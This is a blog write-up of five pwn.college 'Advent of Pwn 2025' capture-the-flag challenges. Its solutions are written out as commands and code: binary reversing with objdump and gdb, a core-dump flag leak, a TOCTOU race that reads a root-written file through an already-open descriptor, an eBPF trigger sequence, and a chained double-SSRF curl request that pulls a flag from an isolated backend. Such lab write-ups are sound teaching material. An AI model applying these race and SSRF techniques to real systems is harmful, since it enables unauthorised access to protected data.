team-logo
Published on

Advent of Pwn 2025

Authors

Introduction

Between December 1st and 12th, 2025, a very interesting competition took place - Advent PWN, which is available here. The tasks were quite difficult, they weren't exactly easy, maybe except for the first one. Unfortunately, I only solved 5 out of 12 tasks. I also tried to solve Day 06 (Mining - miners) and day 10 (sending something, not sure through what). I failed at those, but I'm very curious about the solutions. Unfortunately, we have to wait until December 15th. You can download all from here

alt text

Day 01

The first task, which I thought would take just a few minutes, turned out not to be so simple. Although it was doable, you just had to analyze the input data and process it accordingly.

Description

Every year, Santa maintains the legendary Naughty-or-Nice list, and despite the rumors, there’s no magic behind it at all—it’s pure, meticulous byte-level bookkeeping. Your job is to apply every tiny change exactly and confirm the final list matches perfectly—check it once, check it twice, because Santa does not tolerate even a single incorrect byte. At the North Pole, it’s all just static analysis anyway: even a simple objdump | grep naughty goes a long way.

Summary

This challenge uses a classic byte-wise mixer pattern:

  • The program reads 1024 bytes into a stack buffer (rbp-0x400).
  • Thousands of add / sub instructions modify individual bytes of that buffer.
  • At the end, the program performs many checks of the form:
cmp BYTE PTR [rbp-offset], CONST
  • If all comparisons pass, the program prints the flag.

There are no cross-byte dependencies: every byte is transformed independently modulo 256.


Key Idea

For each byte i in the input buffer:

final[i] = (input[i] + delta[i]) mod 256

Where:

  • input[i] – original input byte
  • delta[i] – sum of all add/sub operations applied to that byte
  • final[i] – value compared against a constant in cmp

So we simply invert it:

input[i] = (CONST[i] - delta[i]) mod 256

Step 01 – Extract CONST bytes from the binary

We extract only the constants used in cmp BYTE PTR [rbp-...] and store them directly as raw bytes.

Script / pipeline (01)

objdump -d -M intel ./check-list | grep "cmp    BYTE PTR \[rbp-" | grep -oP '[0-9a-fA-F]{1,2}$' | awk '{ if (length($0)==1) $0="0"$0; print }' | tr -d '\n' | xxd -r -p > const.bin

Result:

  • const.bin contains the target final values for each checked byte, in order.

Step 02 – Dump buffer after transformations (delta)

We now run the binary with 1024 zero bytes as input. Because the input is all zeros, the buffer after all transformations contains exactly the accumulated deltas.

GDB commands (02)

b *0xaa0b5d            # first cmp instruction
run < <(printf '\x00%.0s' {1..1024})

dump binary memory dump.bin $rbp-0x400 $rbp

Result:

  • dump.bin[i] == delta[i]

Step 03 – Compute the correct input

Now we subtract the deltas from the constants modulo 256.

Script (03)

const = open("const.bin", "rb").read()
dump  = open("dump.bin", "rb").read()

out = bytearray()

for i in range(len(const)):
    C = const[i]
    D = dump[i]       # delta[i]
    out.append((C - D) & 0xff)

with open("input_final.bin", "wb") as f:
    f.write(out)

Result:

  • input_final.bin – the exact input required to pass all checks.

Final Step – Get the flag

./check-list < input_final.bin

Output:

✨ Correct: you checked it twice, and it shows!

Conclusion

This challenge is a textbook byte-wise mixer:

  • Large number of instructions does not imply complexity
  • Zero-input + memory dump cleanly reveals all deltas
  • One modular subtraction per byte fully solves the problem

This technique scales to arbitrarily large mixers and avoids manual reverse engineering of thousands of instructions.

Day 02

Description

CLAUS(7)                   Linux Programmer's Manual                   CLAUS(7)

NAME
       claus - unstoppable holiday daemon

DESCRIPTION
       Executes once per annum.
       Blocks SIGTSTP to ensure uninterrupted delivery.
       May dump coal if forced to quit (see BUGS).

BUGS       
       Under some configurations, quitting may result in coal being dumped into
       your stocking.

SEE ALSO
       nice(1), core(5), elf(5), pty(7), signal(7)

Linux                              Dec 2025                            CLAUS(7)

You really should start here if you're new to the dojo or could use a refresher.

Introduction

In the CLAUS challenge from pwn.college, the key idea is understanding the difference between:

  • Start (normal mode) – where you obtain the real flag.
  • Privileged mode – where you have full root access, /flag is fake, but the program’s behavior is identical.

Privileged mode is meant purely for debugging SUID binaries.


Program behavior

  1. Program starts as SUID root.
  2. If ruid != 0, it performs:
    setreuid(0, -1);
    execve("/proc/self/exe", argv, envp);
    
    → second execution is a "clean root" without AT_SECURE.
  3. The flag is read into global buffer gift[256].
  4. wrap() overwrites the flag.
  5. Sending SIGQUIT (Ctrl+\) generates a core dump named coal.

Normally, coal contains the intact flag inside the gift buffer.


Why normal mode prevents exploitation

In Start mode:

  • coal is 0600 root,
  • your FD tricks don't work because the kernel performs unlink+create,
  • LD_PRELOAD is stripped due to secure exec,
  • ptrace and /proc/pid/mem are blocked.

Thus, you cannot extract the flag directly.


Why Privileged Mode is essential here

In Privileged mode:

  • The binary behaves identically.
  • You can inspect:
    • the memory layout,
    • the gift buffer,
    • the contents of the coal core file.

You learn exactly when the flag exists and where in the core file it resides.

This knowledge is then used to complete the challenge in normal mode.


Intended solution flow

  1. Launch CLAUS in Privileged mode.
    Use gdb and core dumps to analyze the binary.
  2. Launch it again in normal mode.
  3. Press Ctrl+\ at the correct moment.
  4. /challenge/solve asks for the secret.
  5. Provide the correct value based on your Privileged-mode analysis.

Day 03

Description

During the annual holiday deployment cycle, the stuff-stocking service incorrectly delivered a user’s gift into a stocking owned by root. This occurs as soon as the “children sleeping nicely” signal fires, which triggers Santa’s stocking-fill workflow (SLEIGH-RFC-1225). ...

Introduction

This challenge relied on a classic TOCTOU bug (Time Of Check -- Time Of Use) inside the stuff-stocking script.
The script, executed as root, performed the following steps:

  1. Read the flag from /flag and removed the file.\

  2. Created an empty /stocking via touch /stocking.
    With default permissions (0644), the file was readable by an unprivileged user.\

  3. Waited for a "nicely sleeping" process inside the loop:

    until sleeping_nice; do
        sleep 0.1
    done
    
  4. After the condition was met, it executed:

    chmod 400 /stocking
    printf "%s" "$GIFT" > /stocking
    

    which locked down the file and then wrote the flag into it.

The key observation:
Changing permissions (chmod 400) does NOT revoke access from already-open file descriptors.

Therefore, the solution was:

Terminal 1

exec 3</stocking
while true; do
    cat <&3 2>/dev/null
done

The file descriptor was opened while the file was still world-readable.

Terminal 2

nice -n 5 sleep 1000 &

The script continued, wrote the flag to /stocking, and the loop in Terminal 1 printed it through the previously opened descriptor.

This is a clean, classic TOCTOU exploit: open the file before permissions tighten, then read privileged data later through the already-open handle.

Day 04

Description

Every Christmas Eve, Santa’s reindeer take to the skies—but not through holiday magic. Their whole flight control stack runs on pure eBPF, uplinked straight into the North Pole, a massive kprobe the reindeer feed telemetry into mid-flight. The ever-vigilant eBPF verifier rejects anything even slightly questionable, which is why the elves spend most of December hunched over terminals, running llvm-objdump on sleigh binaries and praying nothing in the control path gets inlined into oblivion again. It’s all very festive, in a high-performance-kernel-engineering sort of way. Ho ho .ko!


If you connect with ssh, please run tmux to make sure you actually have an allocated tty!

Challenge overview

In /challenge we have:

  • northpole – SUID root binary
  • tracker.bpf.o – eBPF object
  • northpole.c – source code
  • .init / init-northpole.sh – helper script to start northpole in the background

The flag is not printed by default. Instead, an eBPF program attached to __x64_sys_linkat monitors specific linkat calls and only then signals northpole to broadcast the flag.


BPF analysis with llvm-objdump

First, we inspect the BPF object:

cd /challenge
llvm-objdump -d -S tracker.bpf.o
llvm-objdump -t   tracker.bpf.o
llvm-objdump -h   tracker.bpf.o

From the symbol table we learn:

  • function: handle_do_linkat in section kprobe/__x64_sys_linkat
  • maps: progress and success

Disassembly of kprobe/__x64_sys_linkat shows that handle_do_linkat:

  1. Extracts two user pointers from a struct (arguments of linkat).

  2. Copies them into stack buffers (via helper call 0x72bpf_probe_read_user_str).

  3. Validates:

    • the first string must be "sleigh" (length 7, bytes 73 6c 65 69 67 68),
    • the second string must match one of the reindeer names, depending on current state:
    dasher   → 64 61 73 68 65 72
    dancer   → 64 61 6e 63 65 72
    prancer  → 70 72 61 6e 63 65 72
    vixen    → 76 69 78 65 6e
    comet    → 63 6f 6d 65 74
    cupid    → 63 75 70 69 64
    donner   → 64 6f 6e 6e 65 72
    blitzen  → 62 6c 69 74 7a 65 6e
    
  4. progress is stored in a BPF map under key 0:

    • call 0x1 is bpf_map_lookup_elem(progress, &key) and loads r7 (current state),
    • call 0x2 is bpf_map_update_elem(...) and updates progress and later success.

The resulting state machine is:

progress = 0 initially

"sleigh" + "dasher"   → progress = 1
"sleigh" + "dancer"   → progress = 2 (only if it was 1)
"sleigh" + "prancer"  → progress = 3
"sleigh" + "vixen"    → progress = 4
"sleigh" + "comet"    → progress = 5
"sleigh" + "cupid"    → progress = 6
"sleigh" + "donner"   → progress = 7
"sleigh" + "blitzen"  → progress = 8 and success = 1
anything else / wrong order → progress = 0

Important detail: the program is attached as a kprobe at entry of __x64_sys_linkat, so it sees the syscall arguments even if ln fails with ENOENT. The file sleigh does not need to exist on disk.


What northpole does

Looking at northpole.c, the userspace binary:

  • loads tracker.bpf.o,
  • finds handle_do_linkat and attaches it as a kprobe to __x64_sys_linkat,
  • locates the success map,
  • loops, reading success[0]:
    • when the value becomes non-zero, calls broadcast_cheer(),
    • broadcast_cheer() clears all /dev/pts/* and prints a big banner with the flag,
    • then everything is cleaned up and the program exits.

Since broadcast_cheer() writes to TTY (/dev/pts), we must have a proper terminal (with a valid pseudo-tty). That’s why using tmux is effectively required to reliably see the output.


The tmux requirement

If you trigger the full correct sequence and see nothing, the usual reason is:

  • northpole is broadcasting to /dev/pts devices in its namespace,
  • your session doesn’t have/own the expected TTY.

Hence the hint from the description: if you SSH in, start tmux first and work inside it – that way northpole’s broadcast will land exactly on your pane.

Useful tmux keybinds (default prefix: Ctrl+b):

  • split vertical: Ctrl+b then %
  • split horizontal: Ctrl+b then "
  • new window: Ctrl+b then c

Solution – step by step

  1. After logging into the challenge environment, start tmux:

    tmux
    
  2. In one tmux pane (e.g. panel #0), start northpole (or the init script):

    cd /challenge
    ./northpole   
    

    Leave it running – it’s polling the success map in the background.

  3. In another tmux panel (Ctrl+b ", Ctrl+b %), in the same container, issue the sequence of linkat calls via ln:

    cd /challenge
    
    ln sleigh dasher   2>/dev/null || true
    ln sleigh dancer   2>/dev/null || true
    ln sleigh prancer  2>/dev/null || true
    ln sleigh vixen    2>/dev/null || true
    ln sleigh comet    2>/dev/null || true
    ln sleigh cupid    2>/dev/null || true
    ln sleigh donner   2>/dev/null || true
    ln sleigh blitzen  2>/dev/null || true
    

    All commands can print No such file or directory: 'sleigh' – that is fine.
    The BPF code hooks __x64_sys_linkat at entry, so it cares only about the argument strings, not about whether VFS actually finds the file.

  4. After the final ln sleigh blitzen:

    • the state machine sets progress = 8 and success = 1,
    • northpole detects success != 0,
    • broadcast_cheer() is invoked, clearing the tmux TTY and printing the flag banner,
    • the process exits (which looks like it “crashed”, but it’s actually done).

Day 07

Description

Wow, Zardus thinks he’s Santa 🎅, offering a cheerful Naughty-or-Nice checker on http://localhost/ — but in typical holiday overkill, it has been served as a full festive turducken: a bright, welcoming outer roast 🦃, a warm, well-seasoned middle stuffing 🦆, and a rich, indulgent core that ties the whole dish together 🐔. It all looks merry enough at first glance, yet the whole thing feels suspiciously overstuffed 🎁. Carve into this holiday creation and see what surprises have been tucked away at the center.

Challenge overview

The challenge runs a Python script turkey.py that secretly builds a multi‑namespace network setup and hides a Ruby web app (Puma) behind two layers of internal services and iptables rules. The goal is to reach /flag on the Puma app, which only returns the flag when called with the correct query parameter xmas.


Payload Decoding and Network Setup

  1. Embedded payload in turkey.py

    • A Base64 string is decoded and each byte is transformed with (byte - 2) % 256.
    • The result is a shell script (first payload) that is executed by turkey.py.
  2. First payload – middleware namespace + Node SSRF

    • Creates a network namespace middleware.
    • Sets up a veth pair between the host namespace and middleware:
      • Host side: veth-host with IP 72.79.72.1/24.
      • Middleware side: veth-middleware with IP 72.79.72.79/24.
    • Adds iptables rules on the host:
      • Traffic going out via veth-host is only allowed for UID root:
        • iptables -A OUTPUT -o veth-host -m owner --uid-owner root -j ACCEPT
        • iptables -A OUTPUT -o veth-host -j REJECT
    • Starts a Node.js process (disguised as /usr/bin/cobol) inside middleware.
      • This Node server exposes:
        • / – info page.
        • /fetch?url=...SSRF endpoint: fetches the given URL and returns the body.
    • The Node code decodes a second payload (another Base64 blob processed with (byte - 2) % 256) and executes it as a second shell script.
  3. Second payload – backend namespace + Puma

    • Inside the middleware namespace, it creates another network namespace backend.
    • Sets up a second veth pair:
      • Middleware side: veth-host with IP 88.77.65.1/24.
      • Backend side: veth-backend with IP 88.77.65.83/24.
    • Adds similar iptables rules so only root in middleware can talk to backend.
    • Starts a Ruby/Puma app inside backend that listens on tcp://88.77.65.83:80:
      • GET / – returns a harmless message.
      • GET /flag – if params['xmas'] == 'hohoho-i-want-the-flag', it returns the contents of /flag, otherwise returns an error message.

Because of the iptables rules and namespaces, the hacker user in the main shell cannot directly reach 72.79.72.79 or 88.77.65.83, nor can they enter the namespaces with ip netns exec or nsenter.


Flask Frontend and SSRF Chain

The Python turkey.py script also runs a Flask web app in the host namespace. The relevant endpoint looks like this (simplified):

hacker_image_url = request.form.get('hacker_image', '')
if hacker_image_url:
    response = requests.get(hacker_image_url)
    image_content = response.content
    encoded_image = base64.b64encode(image_content).decode('utf-8')
    # embedded into: <img src="data:image/png;base64,{encoded_image}">
  • The /check endpoint:
    • Accepts a POST parameter hacker_image.
    • As root, performs requests.get(hacker_image_url).
    • Embeds the fetched response body into an <img src="data:image/png;base64,..."> in the HTML output.

This gives us a root‑privileged SSRF from the host namespace.

We chain it with the Node SSRF:

  1. Flask (host, root) → requests.get("http://72.79.72.79/fetch?url=...")
  2. Node (middleware, root) → fetch("http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag")
  3. Puma (backend) → returns /flag.
  4. Node returns the body to Flask, Flask base64‑encodes it into the <img src="data:image/png;base64,...">.

Final Exploit

We send a POST request to the Flask /check endpoint, using hacker_image to trigger the double‑SSRF, and then extract and decode the base64 data URL:

curl -s -X POST 'http://127.0.0.1/check'   --data-urlencode 'hacker_name=test'   --data-urlencode 'hacker_image=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag' | sed -n 's/.*src="data:image\/png;base64,\([^"]*\)".*//p' | base64 -d
  • The curl call triggers the SSRF chain.
  • The sed command extracts the base64 blob from the <img src="data:image/png;base64,...">.
  • base64 -d decodes it and prints the flag.

That final command reveals the flag from the hidden Puma /flag endpoint, despite all the namespace and iptables isolation.


Summary

And that's all I managed to do. ChatGPT helped me a bit, but often got things mixed up. I can't wait to see the solutions for the other days. I'll probably try them too, maybe with some small "hints". I can't wait for next Advent. Good job and thanx!